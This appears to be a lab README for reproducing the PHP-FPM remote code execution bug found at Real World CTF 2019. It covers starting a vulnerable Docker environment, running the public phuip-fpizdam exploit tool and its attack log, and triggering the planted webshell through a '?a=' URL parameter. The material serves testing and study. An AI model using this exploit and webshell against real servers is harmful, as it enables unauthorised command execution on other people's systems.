There is a PHP remote code execution 0-Day discovered in Real World CTF 2019 Quals.
Real World CTF 2019 Quals is a CTF challenge which was organized by Chaitin Tech in China.
References:
- https://bugs.php.net/bug.php?id=78599
- https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/
- https://github.com/neex/phuip-fpizdam
Start a vulnerable PHP server through following command:
docker-compose up -d
After the environment is started, you can see the default page at http://your-ip:8080/index.php
.
Use this tool to reproduce the vulnerability, https://github.com/neex/phuip-fpizdam:
$ go run . "http://your-ip:8080/index.php"
2019/10/23 19:41:00 Base status code is 200
2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate
2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795]
2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect
2019/10/23 19:41:02 Trying to set "session.auto_start=0"...
2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS
2019/10/23 19:41:02 Performing attack using php.ini settings...
2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/23 19:41:02 Trying to cleanup /tmp/a...
2019/10/23 19:41:02 Done!
Something is show that the process is finished successfully:
A webshell is written in the background of PHP-FPM, visit http://your-ip:8080/index.php?a=id
to trigger RCE:
You should notice that only part of the PHP-FPM child process is polluted, so please try a few more times to execute the command.